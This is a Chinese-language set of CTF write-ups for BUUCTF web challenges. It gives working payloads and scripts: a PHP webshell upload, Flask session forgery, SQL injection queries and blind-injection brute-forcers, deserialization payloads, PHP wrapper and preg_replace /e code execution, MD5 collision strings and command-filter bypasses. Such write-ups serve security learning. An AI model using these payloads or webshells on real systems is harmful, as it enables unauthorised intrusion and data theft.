BUUCTF- Web系列
[护网杯 2018]easy_tornado
/welcome.txt render
/flag.txt flag in /fllllllllllllag
从hint知道想要访问/fllllllllllllag 必须要知道cookie_secret tornado是个python框架在?msg处存在模板注入
通过 可以读到cookie_secret
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '731b7766-dadb-4d22-a219-d4e9fd2c1cd5'}
然后计算filehash
import hashlib
filename="/fllllllllllllag"
a=hashlib.md5(filename.encode("utf-8")).hexdigest()
coo="731b7766-dadb-4d22-a219-d4e9fd2c1cd5"
flag=coo+a
print(hashlib.md5(flag.encode("utf-8")).hexdigest())
/file?filename=/fllllllllllllag&filehash=95a063f2d54d70aa416aacdacfac2c34
[极客大挑战 2019]Upload
文件上传 添加 GIF89a 文件头 绕过后缀检测
php,php3,php4,php5,phtml.pht
一句话
eval($_REQUEST[shell])
payload
Content-Disposition: form-data; name="file"; filename="rainyautumn.phtml"
Content-Type: image/jpeg
GIF89a
<script language="php">eval($_REQUEST[shell])</script>
------WebKitFormBoundaryxlOTPnVchImtbY8N
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryxlOTPnVchImtbY8N--
然后蚁剑连接
[ACTF2020 新生赛]Upload
同上 不需要添加GIF89a就可以 后台
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
exit('nonono~ Bad file!');
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
?>
[ACTF2020 新生赛]BackupFile
备份文件 index.php.bak
访问/inde.php
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
直接若比较key=123
[HCTF 2018]admin
注册个账号登录 change password页面 有源码
session伪造
此处根据session来修改密码 修改密码页面只需要提供一个新密码
原本想着把这个搭建起来 然后传入admin的name 得出一个新的session进行伪造 但是没成功
然后又专门的session解密加密脚本
https://github.com/noraj/flask-session-cookie-manager
解密
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
st='''.eJxFkEFrwkAQhf9KmbMHY5OL4MGydbEwU1aShp2LWI3GzY6FaIhZ8b93a6E9zMC8j_dg3g3W-7Y61zC9tF01gvVxB9MbPH3CFDBQja4Z7AQTdnxEsT3LMkUxGeW-ZnV4pvL1yqVNyeGAmj3nJsPJyrHCjNWLJ70M8Y76h6c4KEX00g-_knsdo7MDaZuhsgFl5THMA2mSqKcYdsK5zWxepKzmPYVVTYEdBRM311RigpOit87M4D6C7bndry9fTXX6e-Fd7RrrFkJ6Iay5ZnlrUHnHzqRUmp50cbXB9JgvxJbFgM7XOJ894o6yOVT_ZSTb1B5-yWkjEcCmu3RyghF056p9FAfJGO7foWlvHw.YIOo-Q.q-x7RziV-prTk0ZEr3zX6dFVNuU'''
print(decryption(st.encode()))
然后name改成admin加密session 需要一个SECRET_KEY 在config.py中可以找到 ‘ckj123’
用admin 123456 登录成功
方法二:Unicode欺骗
修改密码的时候是先将name转为小写 调用的是此函数 有漏洞 在这个网站上找字符 https://unicode-table.com/en/search/?q=small+capital
登录的时候调用一次 改密码的时候调用一次
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
然后就注册ᴬᴰᴹᴵᴺ 再改密码 然后用admin登录就可以了
方法三 条件竞争
登录的时候没有验证是不是admin就把name赋值给了session
可以进行竞争
import requests
import threading
def login(s, username, password):
data = {'username': username, 'password': password, 'submit': ''}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {'newpassword': newpassword}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
[极客大挑战 2019]BuyFlag
在 pay.php中发现
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断! password=404%20
此处要发user改为1
不知道为啥用burp一直显示让输入密码
[BJDCTF2020]Easy MD5
使用password=ffifdyop
md5弱比较 param1=QNKCDZO¶m2=aabg7XSs md5强比较,没有规定字符串如果这个时候传入的是数组不是字符串,md5()函数无法解出其数值并且不会报错,就会得到数值相等; param1[]=111¶m2[]=222 真实md5碰撞,因为此时不能输入数组了,只能输入字符串 payload:
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
第三关
[ZJCTF 2019]NiZhuanSiWei
https://www.php.net/manual/zh/wrappers.data.php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一步使用data协议绕过 text=”data://text/plain,welcome to the zjctf” 或者 text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二部提示要读取useless.php file=php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
payload
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo urlencode(serialize($a));
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
最终payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
[极客大挑战 2019]HardSQL
报错注入 查数据库
?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=dwa
数据库名 geek
查表
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=dwa
XPATH syntax error: ‘
H4rDsq1‘
表名:H4rDsq1
查列名
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=dwa
列名 id,username,password
查字段
?username=1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=dwa
出来一半
XPATH syntax error: ‘~flag{b50d93ce-cae6-4a7e-914a-e7’
使用right函数和left函数
?username=1'or(updatexml(1,concat(0x7e,(select(right((password),20))from(H4rDsq1)),0x7e),1))%23&password=dwa
XPATH syntax error: ‘
e-914a-e746ed3fd7f7}‘
flag: flag{b50d93ce-cae6-4a7e-914a-e746ed3fd7f7}
[CISCN2019 华北赛区 Day2 Web1]Hack World
or过滤了用^ 异或代替
payload 0^(ascii(substr((select(flag)from(flag)),1,1))>1)
脚本:
import requests
import time
burp0_url = "http://0f66badd-a354-4c85-b402-fa6dc8c388d8.node3.buuoj.cn:80/index.php"
flag=''
i=0
while True:
head=32
tail=127
i+=1
while head<tail:
mid=(head+tail)>>1
payload=f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
burp0_data = {"id": payload}
re=requests.post(burp0_url,data=burp0_data)
time.sleep(0.01)
if 'girlfriend' in re.text:
head=mid+1
else:
tail=mid
if head != 32:
flag += chr(head)
print(flag)
else:
break
[网鼎杯 2018]Fakebook
备份文件 /user.php.bak 存在sql注入 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=1/**/order%20by%204–%20+
是序列化后的字符串
第一种方法是没有ban读文件的函数 有路径可以把flag读出来
大佬脚本
import requests
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 50
for l in range(1,length+1):
begin = 1
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
#判断条件根据情况修改
if b'http://www.baidu.com' in r.content:
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
exp(url,400)
另一种利用反序列化 查询出 查出的结果 会被反序列化 利用查出的字段 data在第四个 序列化payload
<?php
class UserInfo
{
public $name = "1";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>
O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22age%22%3Bi%3A0%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D
[GXYCTF2019]BabySQli
base32解密然后base64解密得到 select * from user where username = ‘$name’
3个字段
这的md5加密不知道大师傅们是怎么猜出来的
后端代码
验证用户名是否是admin 然后输入的密码字段MD5加密后和数据库中的是否一样
利用union联合查询时会在表中产生自己设定的数据
这样查出来的结果我们就可以自己设定了
[MRCTF2020]你传你🐎呢
apache解析漏洞 添加htaccess
然后再添加图片马
蚁剑连接
[MRCTF2020]Ez_bypass
[GYCTF2020]Blacklist
堆叠注入 1’;show tables;#
handler直接读取 payload
1';handler FlagHere open;handler FlagHere read first;#
[强网杯 2019]高明的黑客
直接备份下载 借助大佬的脚本 看着感觉很麻烦
import os
import threading
import requests
import re
import time
filePath = r"C:\exp\src"
os.chdir(filePath)
files = os.listdir(filePath)
thread_ = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
session = requests.Session()
session.keep_alive = False
max_try = 20
def getContent(file):
print(file + " is testing")
thread_.acquire()
with open(file, encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
params = {}
data = {}
for g in gets:
params[g] = "echo 'ppp_qqq';"
for p in posts:
data[p] = "echo 'ppp_qqq';"
url = 'http://192.168.160.128/src/' + file
req = session.post(url, data=data, params=params)
req.encoding = 'utf-8'
content = req.text
req.close()
if 'ppp_qqq' in content:
flag = ''
for g in gets:
req = session.get(url + "?%s=echo 'ppp_qqq';" % g)
content = req.text
req.close()
if 'ppp_qqq' in content:
flag = g
break
if len(flag) != 0:
for p in posts:
req = session.post(url, data={p: "echo 'ppp_qqq';"})
content = req.text
req.close()
if 'ppp_qqq' in content:
flag = p
break
print('找到了利用文件:' + file + ' 利用参数:' + flag)
thread_.release()
if __name__ == '__main__':
print("start")
for file in files:
time.sleep(0.02) #加个延时
t = threading.Thread(target=getContent, args=(file,))
t.start()
/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
[RoarCTF 2019]Easy Java
在help处有文件包含 根据java项目的目录 包含出WEB-INf/web.xml文件
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,通过反编译class文件,得到网站源码
[GXYCTF2019]BabyUpload
然后添加图片马 y蚁剑连接
[GXYCTF2019]禁止套娃
git泄露
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/filter:\/\/php:\/\/phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/etnainfodecbinhexoctpilog/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
无参数RCE 打印当前目录
print_r(scandir(current(localeconv())));
show_source(next(array_reverse(scandir(current(localeconv())))));
[BJDCTF2020]The mystery of ip
模板注入
以为模板注入的题都是python的 这个是php的 PHP/模版引擎Twig注入 提示
[GWCTF 2019]我有一个数据库
phpmyadmin不需要登录直接进 存在版本漏洞 target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]ZJCTF,不过如此
和之前碰到的第一步一样 使用 ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace()使用的/e模式可以存在远程执行代码
https://xz.aliyun.com/t/2557 payload
http://578088d8-c4df-4852-82d4-60bbe35b2356.node3.buuoj.cn/?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getflag()}&cmd=show_source(%22/flag%22);
[BJDCTF2020]Mark loves cat
.git泄露
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
payload GET:yds=flag POST:$flag=flag
[安洵杯 2019]easy_web
<?php
error_reporting(E_ALL ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/lsbashtacnlmorelessheadwgettailvicatodgrepsedbzmorebzlesspcrepastedifffileechosh\'\"\`;,\*\?\\\\\\\n\t\r\xA0\{\}\(\)\&[^\d]@\\\$\[\]{}\(\)-<>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
md5强类型绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
不知道为啥我的不行
ca\t%20/flag绕过命令执行